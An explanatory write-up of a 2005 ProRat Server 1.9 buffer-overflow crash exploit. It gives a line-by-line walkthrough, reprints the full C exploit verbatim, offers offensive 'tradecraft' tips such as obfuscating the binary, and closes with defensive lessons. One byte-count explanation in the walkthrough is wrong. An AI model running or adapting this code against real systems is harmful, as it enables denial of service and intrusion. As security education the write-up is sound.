ProRat Server 1.9 (Fix-2) Buffer Overflow Explained

ProRat Server 1.9 (Fix-2) Buffer Overflow Explained
What this paper is
This paper is a Proof-of-Concept (PoC) exploit for a buffer overflow vulnerability in ProRat Server version 1.9 (Fix-2). The exploit, discovered and coded by "evil dabus," demonstrates how to crash the ProRat server by sending a specially crafted, oversized command string. While this PoC focuses on crashing the server, it notes that such vulnerabilities can potentially be leveraged for arbitrary code execution.
Simple technical breakdown
The ProRat Server listens for incoming connections on a specific port (defaulting to 5110). When a client connects, the server expects to receive commands. This exploit sends a command string that is much larger than the buffer allocated to receive it on the server. This overflow overwrites adjacent memory, including critical control data. In this specific PoC, the overflow is designed to overwrite the return address on the stack with a specific value (0x41414141, which is 'AAAA' in ASCII). When the server function attempts to return from processing the command, it will try to jump to this invalid address, causing a crash.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break it down section by section.
/* if this worked for you send me an email.
/str0ke */
/******************************************************************************************
ProRat Server Buffer Overflow Crash POC
http://www.prorat.net/products.php?product=ProRat
Discovered and Coded by evil dabus
e-mail: evil_dabus [at] yahoo.com
Tested on ProRat Server version 1.9 (Fix-2) Public Edition
on a Windows XP Professional sp2 operating system.
This exploit connects to the ProRat server (default port 5110) and sends
a long null command string.
After the exploit send, the ProRat Server will crash, trying to access
to a bad memory address: 0x41414141.
Remote users are able to cause the server to crash or potentially
execute arbitrary code.
*******************************************************************************************/This is the header comment block. It provides essential context:
- Purpose: ProRat Server Buffer Overflow Crash PoC.
- Author: evil dabus.
- Target: ProRat Server version 1.9 (Fix-2).
- Environment: Windows XP Professional SP2.
- Mechanism: Connects to the server, sends a long "null command string."
- Result: Server crashes by attempting to access
0x41414141. - Potential: Can lead to arbitrary code execution.
#include <windows.h>
#include <winsock.h>
#include <stdio.h>These are standard C header includes:
windows.h: Provides access to Windows API functions, crucial for socket programming and system operations on Windows.winsock.h: Specifically for Windows Sockets API (Winsock), enabling network communication.stdio.h: Standard input/output library for functions likeprintfandexit.
#define BUFSIZE 0x280
#define NOP 0x90
#define PORT 5110 // default port
#define RET_ADDR "\x41\x41\x41\x41" // crash
#define NULL_PING_COMMAND "\x30\x30\x30\x30\x30\x30"These are preprocessor directives defining constants:
BUFSIZE (0x280): Defines a buffer size, likely related to the server's expected input or the exploit's buffer.0x280is 640 in decimal.NOP (0x90): The NOP (No Operation) instruction byte. Often used in shellcode to create a "NOP sled" for reliable execution.PORT (5110): The default TCP port ProRat Server listens on.RET_ADDR ("\x41\x41\x41\x41"): The value used to overwrite the return address.0x41is the ASCII code for 'A'. So, this is "AAAA". This is intended to cause a crash when the program tries to return to this invalid address.NULL_PING_COMMAND ("\x30\x30\x30\x30\x30\x30"): A short string of '0' characters.0x30is the ASCII code for '0'. This is likely the initial part of the malicious payload.
void
banner() {
printf("- ProRat v1.9:Fix-2 remote buffer overflow\n");
printf("- Coded by evil dabus (evil_dabus [at] yahoo.com)\n");
}- Function:
banner - Purpose: Displays introductory information about the exploit, including its name, version targeted, and author.
- Inputs: None.
- Behavior: Prints static strings to the console.
- Output: Console output.
void
usage(char *prog) {
banner();
printf("- Usage: %s <target ip> [target port]\n", prog);
printf("\n");
exit(1);
}- Function:
usage - Purpose: Displays usage instructions and exits the program. This is called when the program is run with insufficient arguments.
- Inputs:
char *prog- The name of the program being executed. - Behavior: Calls
banner(), prints the correct command-line arguments, and then terminates the program with an error code. - Output: Console output and program termination.
void
main(int argc, char *argv[])
{
WSADATA wsaData;
struct hostent *pTarget;
struct sockaddr_in sock;
SOCKET s;
int iPort = PORT;
char szRecvBuf[BUFSIZE+1];
char szExpBuff[BUFSIZE];This is the main function where execution begins.
- Variables:
wsaData: A structure used byWSAStartupto initialize Winsock.pTarget: A pointer to ahostentstructure, which will hold information about the target host (like its IP address).sock: Asockaddr_instructure to hold the target's address information (IP and port).s: ASOCKETtype variable, representing the network socket.iPort: An integer to store the target port, initialized to the defaultPORT.szRecvBuf[BUFSIZE+1]: A buffer to store data received from the server.BUFSIZE+1is 641 bytes.szExpBuff[BUFSIZE]: The buffer that will hold the exploit payload.BUFSIZEis 640 bytes.
if (argc < 2) usage(argv[0]);
if (argc==3) iPort = atoi(argv[2]);- Argument Handling:
- Checks if at least one command-line argument (the target IP) is provided. If not, it calls
usage(). - If a third argument is provided (
argc==3), it assumes it's a custom port number and converts it to an integer usingatoi(), updatingiPort.
- Checks if at least one command-line argument (the target IP) is provided. If not, it calls
printf("\n[+] Initialize windows sockets.");
if (WSAStartup(MAKEWORD(2,0), &wsaData) < 0) {
printf("\n[-] WSAStartup failed! Exiting...");
return;
}- Winsock Initialization:
WSAStartup(MAKEWORD(2,0), &wsaData): Initializes the Winsock library.MAKEWORD(2,0)requests Winsock version 2.0.- If
WSAStartupfails (returns a negative value), an error message is printed, and the function returns.
printf("\n[+] Initialize socket.");
s = socket(AF_INET, SOCK_STREAM , 0);
if(s == INVALID_SOCKET){
printf("\n[-] Error socket. Exiting...");
exit(1);
}- Socket Creation:
socket(AF_INET, SOCK_STREAM, 0): Creates a TCP socket.AF_INET: Specifies the address family (IPv4).SOCK_STREAM: Specifies the socket type (TCP, for reliable, connection-oriented communication).0: Specifies the protocol (usually 0 for default).
- If
socket()returnsINVALID_SOCKET, an error message is printed, and the program exits.
printf("\n[+] Resolving host info.");
if ((pTarget = gethostbyname(argv[1])) == NULL) {
printf("\n[-] Resolve of %s failed.", argv[1]);
exit(1);
}
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons(iPort);- Host Resolution and Socket Configuration:
gethostbyname(argv[1]): Resolves the target hostname or IP address provided as the first argument (argv[1]) into an IP address.- If resolution fails, an error is printed, and the program exits.
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length): Copies the IP address from thehostentstructure into thesockaddr_instructure.sock.sin_family = AF_INET: Sets the address family to IPv4.sock.sin_port = htons(iPort): Sets the target port.htons()converts the host byte order port number to network byte order.
printf("\n[+] Prepare exploit buffer... ");
memset(szExpBuff,NOP,BUFSIZE);
memcpy(szExpBuff,NULL_PING_COMMAND,sizeof(NULL_PING_COMMAND)-1);
memcpy(szExpBuff+576,RET_ADDR,sizeof(RET_ADDR)-1);- Exploit Buffer Construction: This is the core of the exploit payload generation.
memset(szExpBuff,NOP,BUFSIZE): Fills the entireszExpBuff(640 bytes) with NOP instructions (0x90). This creates a "NOP sled."memcpy(szExpBuff,NULL_PING_COMMAND,sizeof(NULL_PING_COMMAND)-1): Copies theNULL_PING_COMMAND("000000") into the beginning ofszExpBuff.sizeof(NULL_PING_COMMAND)-1is 5, asNULL_PING_COMMANDis 6 bytes including the null terminator, and we only want to copy the actual characters.memcpy(szExpBuff+576,RET_ADDR,sizeof(RET_ADDR)-1): This is the critical overflow part. It copies theRET_ADDR("AAAA") intoszExpBuffat an offset of 576 bytes.- The buffer is 640 bytes.
- The first 6 bytes are "000000".
- The remaining bytes up to offset 576 are NOPs.
- At offset 576, the value "AAAA" is written. This overwrites whatever data was at that position and beyond. The intention is that this "AAAA" will overwrite the return address on the stack.
printf("\n[+] Connecting to %s:%d ... ", argv[1],iPort);
if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) ))){
printf("\n[-] Sorry, cannot connect to %s:%d. Try again...", argv[1],iPort);
exit(1);
}- Connection:
connect(s, (struct sockaddr *)&sock, sizeof(sock)): Attempts to establish a TCP connection to the target IP and port.- If the connection fails, an error message is printed, and the program exits.
printf("\n[+] OK.");
if ( recv(s, szRecvBuf, BUFSIZE+1, 0) == 0 ) {
printf("\n[-] Error response server. Exiting...");
exit(1);
}- Receive Initial Data:
recv(s, szRecvBuf, BUFSIZE+1, 0): Receives data from the server after the connection is established. The PoC expects some initial response from the server.- If
recvreturns 0 (indicating the server closed the connection prematurely) or an error, an error message is printed, and the program exits. This step might be to consume any banner or initial handshake data from the server.
Sleep(1000);
printf("\n[+] Sending exploit buffer. size: %d",sizeof(szExpBuff));
if (send(s,szExpBuff, sizeof(szExpBuff)+1, 0) == -1){
printf("\n[-] Send failed. Exiting...");
exit(1);
}- Send Exploit Payload:
Sleep(1000): Pauses execution for 1 second. This might be to allow the server to be in a state ready to receive the exploit, or simply for dramatic effect.send(s,szExpBuff, sizeof(szExpBuff)+1, 0): Sends the crafted exploit buffer (szExpBuff) to the server.sizeof(szExpBuff)+1is 641 bytes. This is the buffer overflow trigger. The server likely has a smaller buffer, and this oversized input will overwrite adjacent memory.- If
sendfails, an error message is printed, and the program exits.
Sleep(1000);
printf("\n[+] OK.\n");
printf("\n[*] Now try to connect to the server");- Post-Exploitation:
Sleep(1000): Another pause.- Prints a success message and a hint to the user to try connecting to the server. The implication is that the server should now be crashed or in a vulnerable state.
closesocket(s);
WSACleanup();
}- Cleanup:
closesocket(s): Closes the network socket.WSACleanup(): Cleans up the Winsock library.
Code Fragment/Block -> Practical Purpose Mapping:
#include <windows.h>/#include <winsock.h>: Network Communication Setup - Enables the use of Windows networking functions.#define BUFSIZE 0x280: Buffer Size Definition - Defines a key buffer size, likely related to the vulnerable input field.#define NOP 0x90: NOP Instruction - Used for creating a NOP sled, which is a common technique in shellcode to ensure execution lands within the shellcode, even if the exact return address is slightly off.#define PORT 5110: Default Target Port - Specifies the standard listening port for ProRat Server.#define RET_ADDR "\x41\x41\x41\x41": Crash Address - The specific value ('AAAA') intended to overwrite the return address, causing a crash.#define NULL_PING_COMMAND "\x30\x30\x30\x30\x30\x30": Initial Payload Segment - The starting bytes of the malicious data sent to the server.banner(): Informational Display - Shows exploit details and author.usage(char *prog): Argument Validation - Guides the user on how to run the exploit.main(): Program Entry Point - Orchestrates the entire exploit process.WSAStartup(): Winsock Initialization - Prepares the system for network operations.socket(): Socket Creation - Establishes a communication endpoint.gethostbyname(): Target Resolution - Converts a hostname to an IP address.sockaddr_insetup (memcpy,sin_family,htons): Target Address Configuration - Prepares the destination address for the connection.memset(szExpBuff, NOP, BUFSIZE): NOP Sled Initialization - Fills the exploit buffer with NOPs.memcpy(szExpBuff, NULL_PING_COMMAND, ...): Payload Prefix - Adds initial data to the exploit buffer.memcpy(szExpBuff+576, RET_ADDR, ...): Return Address Overwrite - Places the crash address at a specific offset to overwrite the return pointer. This is the core of the buffer overflow.connect(): Establish Connection - Connects to the vulnerable server.recv(): Receive Server Data - Reads initial data from the server.send(szExpBuff, ...): Deliver Exploit - Transmits the crafted buffer to the server, triggering the overflow.Sleep(): Delay - Introduces pauses in execution, potentially for timing or observation.closesocket(): Close Connection - Releases the network socket.WSACleanup(): Winsock Cleanup - Shuts down the Winsock library.
Practical details for offensive operations teams
- Required Access Level: Network access to the target system's network is required. No local access or elevated privileges are needed on the target itself, as this is a remote exploit.
- Lab Preconditions:
- A vulnerable ProRat Server 1.9 (Fix-2) instance must be running and accessible on the network.
- The target server must be listening on the default port 5110 or a custom port specified by the attacker.
- Firewalls between the attacker and the target must allow traffic on the target port.
- Tooling Assumptions:
- The exploit is written in C and compiled for Windows. Therefore, the attacker would need a Windows machine with a C compiler (like MinGW or Visual Studio) to compile this code.
- Alternatively, a pre-compiled executable could be used if available.
- Standard networking tools (like
ping,nmapto verify reachability and port status) would be useful for reconnaissance.
- Execution Pitfalls:
- Version Mismatch: The exploit is specific to ProRat Server 1.9 (Fix-2). Newer versions or different ProRat versions will likely not be vulnerable to this exact exploit.
- Port Mismatch: If the ProRat server is configured to listen on a port other than 5110, the exploit will fail unless the correct port is provided as a command-line argument.
- Network Connectivity: Firewalls, Intrusion Detection/Prevention Systems (IDS/IPS), or network segmentation can block the connection or the exploit traffic.
- Buffer Size/Offset: The
BUFSIZEand the offset576are critical. If the server's internal buffer size or the exact location of the return address on the stack differs even slightly (e.g., due to different OS service packs, compiler optimizations, or minor server code changes), theRET_ADDRmight not overwrite the intended return address, leading to a crash at a different location or no crash at all. - Anti-Virus/Endpoint Security: Modern AV solutions might detect the exploit code or the resulting network traffic as malicious.
- Reliability of Crash: This PoC is designed to crash. Achieving reliable arbitrary code execution requires finding a suitable return address that points to injected shellcode, which is a more complex task than simply causing a crash. The
RET_ADDRof0x41414141is a placeholder for a crash, not a functional exploit for code execution.
- Tradecraft Considerations:
- Reconnaissance: Before executing, verify the target is running ProRat Server and identify its version if possible. Use tools like
nmapto scan for open ports. - Stealth: Direct execution of this PoC is noisy. For a real engagement, consider obfuscating the exploit binary or using a more stealthy delivery mechanism. However, the network traffic itself is a simple TCP connection and data send, which might be harder to hide without additional layers.
- Post-Crash Verification: After sending the exploit, the operator should attempt to connect to the server again (e.g., using a legitimate ProRat client or another tool) to confirm it has crashed and is no longer responsive.
- Payload Development: For actual exploitation (beyond a crash), the
RET_ADDRwould need to be replaced with an address pointing to injected shellcode, and theNULL_PING_COMMANDand NOP sled would need to be replaced with actual shellcode. This requires significant reverse engineering and understanding of the target's memory layout.
- Reconnaissance: Before executing, verify the target is running ProRat Server and identify its version if possible. Use tools like
Where this was used and when
- Context: This exploit was published in 2005. ProRat was a popular remote administration tool at the time, and vulnerabilities in such tools were frequently discovered and exploited. This specific exploit targets a known buffer overflow in a particular version of the ProRat Server.
- Approximate Years/Dates: Published on August 1, 2005. It would have been relevant around this period and likely for some time afterward until ProRat Server was patched or updated.
Defensive lessons for modern teams
- Input Validation is Paramount: Always validate the size and format of all incoming data. Never trust client-provided data to fit within predefined buffer sizes.
- Secure Coding Practices: Developers must be trained in secure coding to avoid common vulnerabilities like buffer overflows, format string bugs, and integer overflows.
- Use Modern Compilers and Tools: Modern compilers often have built-in protections like Stack Canaries (
/GSflag in MSVC) and Address Space Layout Randomization (ASLR) which make exploiting buffer overflows significantly harder. - Patch Management: Keep all software, especially network-facing services and applications like remote administration tools, up-to-date with the latest security patches.
- Network Segmentation and Firewalls: Restrict access to critical services. Ensure only authorized clients can connect to administrative ports.
- Intrusion Detection/Prevention Systems (IDS/IPS): Deploy and configure IDS/IPS to detect and potentially block exploit attempts based on known signatures or anomalous network behavior.
- Endpoint Detection and Response (EDR): Modern EDR solutions can detect suspicious process behavior, including crashes caused by memory corruption vulnerabilities, and network anomalies.
- Principle of Least Privilege: Ensure administrative tools run with the minimum necessary privileges.
ASCII visual (if applicable)
This exploit is a client-server interaction. A simple visual representation of the buffer overflow:
+---------------------+ +---------------------+
| Attacker Machine | | Target ProRat Server|
| (Exploit Client) | | (Vulnerable) |
+---------------------+ +---------------------+
| |
| 1. Connect (TCP 5110) |
|---------------------------->|
| |
| 2. Send Exploit Buffer |
| (Overflowing Data) |
|---------------------------->|
| |
| | <-- Server receives data
| | into a small buffer.
| | Overflow overwrites
| | adjacent memory (stack).
| |
| | <-- Server tries to return
| | from function, jumps to
| | 0x41414141 (AAAA).
| |
| | <-- CRASH!
| |
| |
| 3. Server becomes |
| unresponsive |
|<----------------------------| (No response or connection)
| |Source references
- Paper URL: https://www.exploit-db.com/papers/1127
- Raw Exploit URL: https://www.exploit-db.com/raw/1127
- Original Author: evil dabus
- Publication Date: 2005-08-01
Original Exploit-DB Content (Verbatim)
/* if this worked for you send me an email.
/str0ke */
/******************************************************************************************
ProRat Server Buffer Overflow Crash POC
http://www.prorat.net/products.php?product=ProRat
Discovered and Coded by evil dabus
e-mail: evil_dabus [at] yahoo.com
Tested on ProRat Server version 1.9 (Fix-2) Public Edition
on a Windows XP Professional sp2 operating system.
This exploit connects to the ProRat server (default port 5110) and sends
a long null command string.
After the exploit send, the ProRat Server will crash, trying to access
to a bad memory address: 0x41414141.
Remote users are able to cause the server to crash or potentially
execute arbitrary code.
*******************************************************************************************/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#define BUFSIZE 0x280
#define NOP 0x90
#define PORT 5110 // default port
#define RET_ADDR "\x41\x41\x41\x41" // crash
#define NULL_PING_COMMAND "\x30\x30\x30\x30\x30\x30"
void
banner() {
printf("- ProRat v1.9:Fix-2 remote buffer overflow\n");
printf("- Coded by evil dabus (evil_dabus [at] yahoo.com)\n");
}
void
usage(char *prog) {
banner();
printf("- Usage: %s <target ip> [target port]\n", prog);
printf("\n");
exit(1);
}
void
main(int argc, char *argv[])
{
WSADATA wsaData;
struct hostent *pTarget;
struct sockaddr_in sock;
SOCKET s;
int iPort = PORT;
char szRecvBuf[BUFSIZE+1];
char szExpBuff[BUFSIZE];
if (argc < 2) usage(argv[0]);
if (argc==3) iPort = atoi(argv[2]);
printf("\n[+] Initialize windows sockets.");
if (WSAStartup(MAKEWORD(2,0), &wsaData) < 0) {
printf("\n[-] WSAStartup failed! Exiting...");
return;
}
printf("\n[+] Initialize socket.");
s = socket(AF_INET, SOCK_STREAM , 0);
if(s == INVALID_SOCKET){
printf("\n[-] Error socket. Exiting...");
exit(1);
}
printf("\n[+] Resolving host info.");
if ((pTarget = gethostbyname(argv[1])) == NULL) {
printf("\n[-] Resolve of %s failed.", argv[1]);
exit(1);
}
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons(iPort);
printf("\n[+] Prepare exploit buffer... ");
memset(szExpBuff,NOP,BUFSIZE);
memcpy(szExpBuff,NULL_PING_COMMAND,sizeof(NULL_PING_COMMAND)-1);
memcpy(szExpBuff+576,RET_ADDR,sizeof(RET_ADDR)-1);
printf("\n[+] Connecting to %s:%d ... ", argv[1],iPort);
if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) ))){
printf("\n[-] Sorry, cannot connect to %s:%d. Try again...", argv[1],iPort);
exit(1);
}
printf("\n[+] OK.");
if ( recv(s, szRecvBuf, BUFSIZE+1, 0) == 0 ) {
printf("\n[-] Error response server. Exiting...");
exit(1);
}
Sleep(1000);
printf("\n[+] Sending exploit buffer. size: %d",sizeof(szExpBuff));
if (send(s,szExpBuff, sizeof(szExpBuff)+1, 0) == -1){
printf("\n[-] Send failed. Exiting...");
exit(1);
}
Sleep(1000);
printf("\n[+] OK.\n");
printf("\n[*] Now try to connect to the server");
closesocket(s);
WSACleanup();
}
// milw0rm.com [2005-08-01]